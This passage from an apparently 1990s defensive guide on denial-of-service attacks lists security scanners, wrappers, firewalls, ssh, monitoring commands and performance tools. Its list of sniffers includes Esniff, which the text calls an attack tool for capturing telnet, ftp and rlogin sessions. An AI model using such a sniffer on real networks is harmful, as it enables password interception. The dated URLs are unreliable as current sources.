- Echo Service Check
- Chargen Service Check
- Microsoft dot dot Bug
- ICMP Redirect
- Nuke
- DNS Attack
- Open/Close ports repetitively
- Brute Force Netware FTP
(under section BRUTE FORCE
ATTACKS)

ISS is a very good security checker and check for many holes, not only denial of service.

Satan, PingWare and SPI do not to my knowledge check for any denial of service attacks.

For SunOS and we have a package called the Sysinfo Package that shows detailed kernel information, generates a complete report on the system configuration with host, memory, OS and device information. I think that similar package can be found for other OS:s to. This package is included in the SunOS Security Checklist that can be found at URL:

http://mother.cc.vt.edu/kathyw/sun.security.html

On URL: http://www.ntshop.net/security/100CPU.htm can a Pearl script be found that checks the ports on NT machines for the rpcss.exe bug that can consume 100% of CPU time.

.F.1.7. EXTRA SECURITY SYSTEMS

Also think about if you should install some extra security systems.
The basic that you always should install is a logdaemon and a wrapper.
A firewall could also be very good, but expensive. Free tools that can
be found on the Internet is for example:

TYPE:	NAME:	URL:
LOGDAEMON	NETLOG	ftp://net.tamu.edu/pub/security/TAMU
WRAPPER	TCP WRAPPERS	ftp://cert.org/pub/tools/tcp_wrappers
FIREWALL	TIS	ftp://ftp.tis.com/pub/firewalls/toolkit

Note that you should be very careful if building your own firewall with
TIS or you might open up new and very bad security holes, but it is a very
good security packer if you have some basic knowledge.

It is also very good to replace services that you need, for example telnet,
rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be
found at URL:

ftp://ftp.cs.hut.fi/pub/ssh

Ssh stops: IP spoofing, IP source routin, DNS spoofing, interception of
cleartext passwords and other data by intermediate hosts, manipulation
of data by people in control of intermediate hosts and various attacks
at the X-server.

The "SSH (Secure Shell) FAQ" can be found at address:

http://www.uni-karlsruhe.de/~ig25/ssh-faq

But take a look at the problems with ssh described in this paper, for
example should your system refuse connections from unknown hosts.

The addresses I have put out are the central sites for distributing
and I don't think that you should use any other except for CERT.

For a long list on free general security tools I recommend:
"FAQ: Computer Security Frequently Asked Questions".

.F.1.8. ADDING HARDWARE

A system with faster hardware and more memory (if the system is able to use the extra memory) does resist denial of service attacks better.

.F.1.9. MONITORING SECURITY

Also monitor security regular, for example through examining system log files, history files... Even in a system without any extra security systems could several tools be found for monitoring, for example:

- uptime
- showmount
- ps
- netstat
- finger

(see the man text for more information).

Sometimes you have to use a sniffer to monitor an attack. A sniffer capture the information going over the network. The following sniffers can for example be found:

(1) Snoop: Nice. Designed for Solaris 2.X and SunOS 4.1.
Can be found at address: ftp://playground.sun.com

(2) Esniff: Famous. Captures the first 300 bytes of all
telnet, ftp and rlogn sessions. Designed for
SunOS. Note that esniff not was designed for
detections of network problems, it was designed
as an attack tool. Can be found at address:
ftp://coombs.anu.edu.au/pub/net/log

(3) Packetman,
Interman, Etherman,
Loadman: Designed for SunOS, DEC-Mips, SGI, Alpha. Can
be found at address: ftp.cs.curtin.edu.au/pub/netman

.F.1.10. KEEPING UP TO DATE

It is very important to keep up to date with security problems. Also understand that then, for example CERT, warns for something it has often been dark-side public for sometime, so don't wait. The following resources that helps you keeping up to date can for example be found on the Internet:

- CERT mailing list. Send an e-mail to cert@cert.org to be placed on the list.

- Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net.

- WWW-security mailing list. Send an e-mail to www-security@ns2.rutgers.edu.

.F.1.11. READ SOMETHING BETTER

Take a look at "THE DENIAL OF SERVICE PAGE" at URL:

http://www.student.tdb.uu.se/~t95hhu/c-war.html

.F.2. MONITORING PERFORMANCE

.F.2.1. INTRODUCTION

There is several commands and services that can be used for monitoring performance. And at least two good free programs can be found on Internet.

.F.2.2. COMMANDS AND SERVICES

For more information read the man text.

netstat	Show network status.
nfsstat	Show NFS statistics.
sar	System activity reporter.
vmstat	Report virtual memory statistics.
timex	Time a command, report process data and system activity.
time	Time a simple command.
truss	Trace system calls and signals.
uptime	Show how long the system has been up.

Note that if a public netstat server can be found you might be able to use netstat from the outside. netstat can also give information like tcp sequence numbers and much more.

.F.2.3. PROGRAMS

Proctool: Proctool is a freely available tool for Solaris that monitors and controls processes. Proctool is very good on finding processes that are accumulating CPU time rapidly.

ftp://opcom.sun.ca/pub/binaries/

Top: Top might be a more simple program than Proctool, but is good enough.

.F.2.4. ACCOUNTING

To monitor performance you have to collect information over a long period of time. All Unix systems have some sort of accounting logs to identify how much CPU time, memory each program uses. You should check your manual to see how to set this up.

You could also invent your own account system by using crontab and a script with the commands you want to run. Let crontab run the script every day and compare the information once a week. You could for example let the script run the following commands:

- netstat
- iostat -D
- vmstat

.G. SUGGESTED READING
~~~~~~~~~~~~~~~~~~~~~

You can find a lot of links to information and programs at my new page: THE DENIAL OF SERVICE PAGE at URL:

http://www.student.tdb.uu.se/~t95hhu/c-war.html

.H. CREDITS
~~~~~~~~~~~

Please se the page at URL:

http://www.student.tdb.uu.se/~t95hhu/secure/denial/credits.txt

.I. COPYRIHT

~~~~~~~~~~~~~

.J. DISCLAIMER

~~~~~~~~~~~~~~

The information within this paper may change without notice. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.